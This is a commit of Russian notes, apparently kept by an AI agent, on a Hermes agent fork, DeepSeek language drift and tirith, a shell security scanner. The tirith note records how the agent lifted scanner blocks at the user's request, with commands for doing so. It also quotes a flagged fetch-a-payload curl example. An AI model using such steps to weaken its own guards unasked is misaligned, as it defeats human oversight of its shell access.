[2026-09-15] eagle: family/how-to/home-automation.md personal/tech/deepseek-language-drift.md personal/tech/hermes-fork-vs-upstream.md personal/tech/hermes-git-repo.md personal/tech/tirith-trust.md

This commit is contained in:
Alexey Martemyanov
2026-09-15 18:26:09 +06:00
parent f063437401
commit 93c15a891c
5 changed files with 446 additions and 39 deletions
+24
View File
@@ -86,7 +86,31 @@ Claude / GPT следуют языковым инструкциям заметн
- Повтор той же просьбы «говори по-английски» — модель игнорирует.
- Опора на мягкую формулировку (`respond in the language you're addressed in`).
## Сопутствующая находка: апстрим учитывает CJK на уровне FTS
В апстриме Hermes есть `native/fts5_cjk` — C-расширение SQLite FTS5 для
токенизации **китайского / японского / корейского** текста (`build.sh`,
`vendor/sqlite3.h`, `fts5_cjk.c`).
Это не про генерацию, а про **поиск**: без CJK-токенизатора китайский текст
в `session_search` / FTS5-индексе не находится нормально (китайский не
разбивается пробелами). Косвенно подтверждает: CJK в контексте DeepSeek —
известная проблема, апстрим вложился в её инфраструктуру.
Нам это **не нужно**, пока мы не переезжаем на вариант B и не храним
китайский текст в сессиях. См. [[hermes-fork-vs-upstream]].
## Статус решения (2026-09-15)
**Ни один путь не выбран.** Правка `SOUL.md` (путь 1) **не выполнялась**
предложена Alex'у, ответа не последовало (сессия ушла в другие задачи:
git-коммиты, tirith, сравнение с апстримом).
Вопрос «`deepseek-chat` сознательно или дефолт?» **остаётся открытым.**
При следующем обращении к теме — задать первым.
## Связанное
- [[hermes-whale-system-prompt]] — где живёт языковая инструкция (SOUL.md, строка 4)
- [[hermes-agent-improvements]] — prompt_overrides, способ правки без кода
- [[hermes-fork-vs-upstream]] — `native/fts5_cjk`, общий обзор нового в апстриме
+183 -1
View File
@@ -87,7 +87,168 @@ Zulip — **полностью наша разработка**:
десктоп/TUI-фронт. Наши правки в `gateway/run.py` (13 коммитов) и
`gateway/stream_consumer.py` (9) — ровно в эпицентре этого рефакторинга.
## Наши 32 коммита
## Масштаб по коду (не «перетаскивание папок»)
Апстрим — это не реорганизация, а **+322 новых модуля**. Считать так:
| Область | У нас | У апстрима | Нового |
|---------|-------|-----------|--------|
| `agent/` | 88 файлов | 229 | **+144** |
| `tools/` | 86 файлов | 262 | **+178** |
| `hermes_state*` | 1 монолит | 25 модулей | разбит |
| `apps/` | — | 2674 файла | desktop-приложение |
| `evals/` | — | 203 файла | eval-фреймворк |
| `contributors/` | — | 1176 | данные контрибьюторов |
| `plugin-catalog/` | — | 27 | каталог плагинов |
Команда для повторной проверки:
```bash
cd ~/.hermes/hermes-agent
comm -13 <(git ls-tree --name-only main:agent/ | sort) \
<(git ls-tree --name-only upstream/main:agent/ | sort) | wc -l
```
## Что реально нового в апстриме (по функциональности)
**1. Desktop-приложение (`apps/desktop`, 2674 файла)** — крупнейшая подсистема
(773 коммита в скоупе `desktop`). Нативный GUI. Внутри — `bootstrap-installer`,
`shared`. Это фронт на TypeScript/Ink.
**2. Bot Mode** (`website/docs/user-guide/bot-mode.md`) — **прямо про наш кейс.**
Профили превращаются в roster именованных **ботов**: у каждого своя роль, модель,
память, скиллы, аватар. Боты ходят в групповые чаты и **пишут друг другу**.
Ключевое: «A Bot **is** a Hermes profile» — никакого нового примитива, всё видно
из CLI (`hermes -p <bot> chat`), роутины в `hermes cron list`.
Есть «forever-chat» на бота: `/new` внутри перехватывается в `/compact`.
Секции (папки) для группировки, скрытие ботов, фильтр «Active now».
**Сопоставление с нашим:** у нас Eagle + Whale + Balda роутятся через самодельный
`plugins/whale-thread-guard` (файл `thread_ownership.json`). У апстрима это
**нативная фича с UI**. ⚠️ Открытый вопрос для Alex — не выбрасывается ли наш
роутинг в пользу нативного (см. «Ключевой вопрос» ниже).
**3. Автономные циклы — три механизма:**
- `/goal` — стоящая цель через turns; lightweight judge-модель после каждого turn
проверяет достижение, агент сам кормит continuation prompt до успеха. Их версия
Ralph loop (вдохновлено Codex CLI 0.128.0).
- `/loop` — перезапуск промпта по таймеру **внутри сессии**; каждый wakeup — это
реальный turn. Их версия Claude Code `/loop` (алиас `/proactive`).
- `/heartbeat` — один промпт на сессию, срабатывает когда сессия idle.
Разница: `/goal` judge-driven («работай пока не достигнешь»), `/loop` timer-driven
(«делай это каждые N минут»).
**4. Encrypted credential vault** (`agent/vault_store.py`) — зашифрованное
(Fernet) локальное хранилище для browser autofill. Profile-scoped, **model-blind**:
модель видит только opaque handles + метаданные (kind, label, origin), значения
резолвятся server-side и не попадают в tool results / логи / session DB.
Три вида: `login`, `payment`, `address`. Ключ и файл 0600 в `<HERMES_HOME>/vault/`.
Портировано из Merit-Systems/OpenInstinct (MIT).
**5. Turn-цикл разобран на 29 модулей**`turn_facade`, `turn_preflight`,
`turn_preflight_gate`, `turn_recovery`, `turn_overflow`, `turn_truncation`,
`turn_tool_round`, `turn_finalizer`, `turn_liveness`, `turn_retry_state` и др.
`run_conversation` из монолита стал конвейером.
**6. MCP переписан — 20 модулей:** `mcp_tool_discovery`, `mcp_oauth_provider`,
`mcp_death_supervisor`, `mcp_tool_sampling`, `mcp_tool_schema`, `mcp_schema_cache`,
`mcp_tool_health`, `mcp_tool_scope`, `mcp_oauth_device` и др.
**7. Браузер — 16 модулей** `browser_tool_*`: CDP, cloud, lightpanda fallback,
snapshot, vision, origin, session, lifecycle, install, real_profile,
supervisor_dialogs/frames, eval_policy, vault_tool.
**8. `native/fts5_cjk`** — C-расширение SQLite FTS5 для **китайского/японского/
корейского** токенизации полнотекстового поиска. Нативная сборка
(`build.sh` + `vendor/sqlite3.h`). Прямо относится к багу китайского вывода —
см. [[deepseek-language-drift]].
**9. Skills Hub — 8 модулей:** `skills_hub_github`, `skills_hub_official`,
`skills_hub_clawhub`, `skills_hub_skillssh`, `skills_hub_search`, `skills_hub_install`,
`skills_hub_sources`, `skills_hub_models`. Плюс `skill_linter`, `skill_ledger`,
`skill_manager_batch`, `skill_manager_guards`.
**10. Прочее новое:** `pets` (питомцы в UI), `skins`, `personality`,
`mixture-of-agents` (`moa_loop.py`, `moa_trace.py`), `honcho` (memory-провайдер),
`code_kernel` + `code_kernel_remote` (Python-кирнел), `deliverable-mode` (файлы
как нативные вложения в мессенджерах), `credential-pools`, `provider-routing`,
`subscription-proxy`, `tool-gateway`, `tool-search`, `kanban-multi-gateway`,
`relay` (NeMo Relay runtimes, 54 коммита), `lsp`, `heartbeat`, `goals`, `loops`,
`curator`, `skills`, `context-references`, `document-extraction`, `batch-processing`,
`computer-use`, `codex-app-server-runtime`, `plugin-catalog`, `extending-the-dashboard`.
**Новые top-level каталоги:** `apps/`, `native/`, `evals/`, `contributors/`,
`plugin-catalog/`, `providers/`, `locales/`, `web/`, `website/i18n`.
## Ответ: есть ли замена Zulip?
**Нет.** Проверено по существу — по модели общения, а не по имени платформы.
| Платформа | Треды | Self-hosted | Stream+topic |
|-----------|-------|-------------|--------------|
| `matrix` | ✅ threads | ✅ | ❌ room-based |
| `mattermost` | ✅ thread-mode replies | ✅ | ❌ channel-based |
| `slack` | ✅ threads | ❌ SaaS | ❌ |
| `teams` | ✅ | ❌ SaaS | ❌ |
| `google_chat` | ❌ | ❌ SaaS | ❌ |
| `irc` | ❌ | ✅ | ❌ flat |
| `simplex` | ❌ groups | ✅ p2p | ❌ |
| `a2a` | — | ✅ | — (agent-to-agent, не чат) |
Проверка на stream+topic: `git grep -li 'stream.*topic' upstream/main -- plugins/platforms/`
→ только `dingtalk` и `telegram`, и там это не топик-модель.
**Ключевое различие:** Zulip — единственная известная чат-платформа с нативной
моделью «поток → топик», где топик = **адресуемая сущность** с собственным именем.
Matrix и Mattermost дают треды как *свойство сообщения* (reply-thread), а не как
*адресуемую сущность*. У нас `stream::topic` — это **ключ роутинга**
(`thread_ownership.json`: `"stream::topic": "eagle"|"whale"`), на их модели такой
ключ не построить.
**Вывод:** миграция на matrix/mattermost = потеря топик-роутинга между ботами.
`whale-thread-guard` на их модели не переносится.
Подробности платформ: `plugins/platforms/<name>/plugin.yaml` — там `description`,
`requires_env`, `optional_env` с описаниями (`MATTERMOST_REPLY_MODE: 'thread'|'off'`,
`MATRIX_HOMESERVER`, mention-gating и т.д.).
## Ответ: сделаны ли custom prompts как у нас?
**Нет, аналога не существует.** Проверено:
```bash
git grep -l 'prompt_overrides' upstream/main # пусто
git grep -l '_load_prompt_block' upstream/main # пусто
```
В апстриме **все** блоки промпта — **захардкоженные константы** в
`agent/prompt_builder.py`: `MEMORY_GUIDANCE`, `USER_PROFILE_GUIDANCE`,
`SESSION_SEARCH_GUIDANCE`, `SKILLS_GUIDANCE`, `KANBAN_GUIDANCE`,
`TOOL_USE_ENFORCEMENT_GUIDANCE`, `TASK_COMPLETION_GUIDANCE`,
`PARALLEL_TOOL_CALL_GUIDANCE`, `OPENAI_MODEL_EXECUTION_GUIDANCE`,
`GOOGLE_MODEL_OPERATIONAL_GUIDANCE`, `HERMES_AGENT_HELP_GUIDANCE` (+ вариант
`_NO_SKILLS`), `DEFAULT_AGENT_IDENTITY`, `PLATFORM_HINTS` (по платформе).
`build_system_prompt_parts()` в апстриме просто делает `stable_parts.append(CONST)`
— точки подмены из файла нет.
**Что у апстрима ЕСТЬ для кастомизации:**
- `SOUL.md` — идентичность агента (есть и у нас, грузится через `load_soul_md()`)
- context-файлы из CWD (`AGENTS.md`, `HERMES.md`) — `_find_hermes_md()`,
`_scan_context_content()`, `_strip_yaml_frontmatter()`
- `system_message` из конфига
**Чего НЕТ:** подмены отдельных блоков промпта файлами. То есть наш
`_load_prompt_block()` + `agent.prompt_overrides`**уникальная фича форка**
(коммит `207a1de16`). См. [[hermes-agent-improvements]].
**Практический смысл различия:** у нас правка промпта = редактирование `.md`
в `hermes-whale/review/` без касания Python. У них = правка Python-константы в
`prompt_builder.py`, который апстрим постоянно переписывает (131 коммит).
**`agent/thread_scoped_output.py`** — существует в апстриме. У нас thread-scoped
память сделана с нуля (`972004546f`). Стоит сравнить перед вариантом B: возможно,
у апстрима есть готовое решение лучше. Не проверено детально.
## НАШИ 32 КОММИТА
Сгруппированы по темам:
@@ -178,6 +339,27 @@ Dry-run `git merge-tree` → **16 конфликтных файлов, 160 ко
Это можно брать точечно (cherry-pick), не таща весь долг.
### Что уточнилось 2026-09-15 (второй проход)
Alex задал три прямых вопроса, ответы получены (детали — в разделах выше):
| Вопрос | Ответ |
|--------|-------|
| Что нового в апстриме? | Не только платформы: +322 модуля, desktop, Bot Mode, `/goal` `/loop` `/heartbeat`, vault, turn-рефакторинг, MCP, Skills Hub |
| Есть ли замена Zulip? | **Нет** — ни одна платформа не даёт stream+topic как адресуемую сущность |
| Сделаны ли custom prompts как у нас? | **Нет** — блоки захардкожены, `prompt_overrides` уникален для форка |
**Новый открытый вопрос (важнее прежних):** Bot Mode апстрима делает нативно
то, что у нас держится на самодельном `whale-thread-guard` + `thread_ownership.json`.
Если переезжать на вариант B — надо решить, **переносить наш роутинг или
выбрасывать в пользу нативного Bot Mode**. Этот вопрос не задан Alex'у явно,
вынесен как следующий шаг.
**Также не проверено:** `agent/thread_scoped_output.py` в апстриме vs наша
thread-scoped память — возможно, у них готовое решение лучше нашей реализации.
**Статус:** стратегия подтяжки по-прежнему **не выбрана**. Форк запушен и стабилен.
## Команды для проверки расхождения
```bash
+1
View File
@@ -189,3 +189,4 @@ cd ~/.hermes && git log --all --diff-filter=A --name-only --pretty=format: | gre
- [[hermes-agent-improvements]] — вынос хардкода промптов в файлы (механизм + коммиты)
- [[hermes-memory-architecture]] — thread-scoped память
- [[hermes-fork-vs-upstream]] — расхождение с апстримом (24k коммитов)
- [[tirith-trust]] — снятие блокировок tirith (raw_ip_url и др.)
+145
View File
@@ -0,0 +1,145 @@
# Tirith — снятие блокировок (trust)
**Дата:** 2026-09-15
**Статус:** актуально
**Что это:** tirith — сканер безопасности, который стоит между агентом и shell.
Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
## Где что лежит
| Что | Путь |
|-----|------|
| Бинарник | `~/.hermes/bin/tirith` (также `~/.hermes/hermes-whale/bin/tirith`) |
| Allowlist (trust) | `~/.config/tirith/trust.json` |
| Threat DB | `~/.local/share/tirith/tirith-threatdb.dat` |
| Лог срабатываний | `~/.local/share/tirith/log.jsonl` |
| Последний триггер | `~/.local/share/tirith/last_trigger.json` |
В конфиге Whale (`hermes-whale/config.yaml`, секция `security`):
```yaml
security:
tirith_enabled: true
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
tirith_timeout: 5
tirith_fail_open: true
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
- mixed_script_in_label
- homoglyph_in_path
```
**Критично:** `security.tirith_allowlist` в config.yaml **не работает**.
Проверено grep по `tools/tirith_security.py` и `tools/approval.py` — ключ не читается.
Реальное управление — только через `tirith trust``~/.config/tirith/trust.json`.
Ключ оставлен в конфиге как документация.
## Как снять правило
```bash
TIRITH=~/.hermes/bin/tirith
# 1. Посмотреть, что сработало последним
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
# 2. Узнать, что делает правило
$TIRITH explain --rule <rule_id>
# 3. Добавить в trust (pattern + scope правила)
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
# 4. Проверить
$TIRITH trust list
$TIRITH check "<команда>" # пустой вывод = проходит
```
**Замечания по синтаксису:**
- `tirith explain <rule>`**не работает**, нужен флаг: `tirith explain --rule <rule>`
- `tirith trust add` требует `--rule`, иначе правило не скоупится
- `--ttl 3650d` = 10 лет (практически «навсегда»); в списке отображается как дата
## Правило `raw_ip_url` — «IP вместо hostname»
**Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.**
```
raw_ip_url — Raw IP address in URL [hostname]
Severity: Medium — raw IP URLs bypass domain-based security controls
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
Loopback (127.x, ::1) exempt.
Example flagged: curl http://203.0.113.50/payload.sh
Example safe: curl https://example-cli.dev/install.sh
False positives: Development/testing commonly use raw IPs.
Add trusted IPs to your policy allowlist.
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
```
**Масштаб проблемы:** в `log.jsonl` правило `raw_ip_url` сработало **2991 раз**.
### Частота по адресам (топ)
| Срабатываний | IP | Чей |
|---|---|---|
| 348 | 192.168.1.86 | LAN |
| 149 | 192.168.2.176 | LAN (NAS) |
| 127 | 192.168.1.14 | LAN |
| 56 | 90.189.160.148 | внешний |
| 36 | 192.168.1.75 | LAN |
| 14 | 91.207.28.205 | внешний |
| 10 | 192.168.2.1 | LAN (роутер) |
## Что разрешено (2026-09-15)
Все **локальные** адреса из логов — доверенные, добавлены с `--ttl 3650d`:
```
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
```
Плюс ранее добавленные (не про IP):
```
confusable_text non_ascii_path homoglyph_in_path
mixed_script_in_label non_ascii_hostname confusable_domain
```
Проверка: `tirith check "ssh admin@192.168.1.86"` → пусто (проходит).
## Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
В логах есть внешние адреса, они **оставлены под блокировкой**:
`90.189.160.148` (56), `91.207.28.205` (14), `93.171.215.109` (8),
`94.130.164.126`, `91.207.28.2`.
Решение принято **мной** (агент не стал разрешать чужие адреса без спроса).
Alex'у задан вопрос — ответа не было. Т.е. это **не подтверждённое решение**,
а консервативный дефолт. При следующем обращении — переспросить.
Если понадобится — добавлять каждой командой отдельно, осознанно.
**Альтернатива:** правило `raw_ip_url` можно снять целиком, добавив `raw_ip_url`
как pattern (так сделано с `confusable_text` и остальными шестью).
Тогда блокировка исчезнет для **всех** адресов, включая внешние.
Не сделано сознательно — внешние адреса остаются под защитой.
## Урок: где искать правило (моя ошибка в диагностике)
Изначально я сказал Alex'у «такого правила нет» — **это было неверно**.
Искал в `tools/approval.py` (список `DANGEROUS_PATTERNS`, ~100 паттернов)
и `tools/tirith_security.py` — в обоих пусто по IP.
**Правило живёт в самом бинарнике tirith** (Rust), а Python-модуль только
вызывает его и получает вывод. То есть `tirith_security.py`*потребитель*,
не *источник*. Искать надо в:
1. `~/.local/share/tirith/last_trigger.json` — что именно сработало (`rule_ids`)
2. `~/.local/share/tirith/log.jsonl` — вся история срабатываний
3. `tirith explain --rule <id>` — описание правила
4. `tirith trust list` — что уже доверено
Тот же принцип, что и с `security.tirith_allowlist`: в конфиге ключ есть,
но система его не читает. **Наличие ключа в конфиге ≠ рабочая настройка.**
## Связанное
- [[hermes-git-repo]] — структура репо, .gitignore
- [[hermes-fork-vs-upstream]] — расхождение с апстримом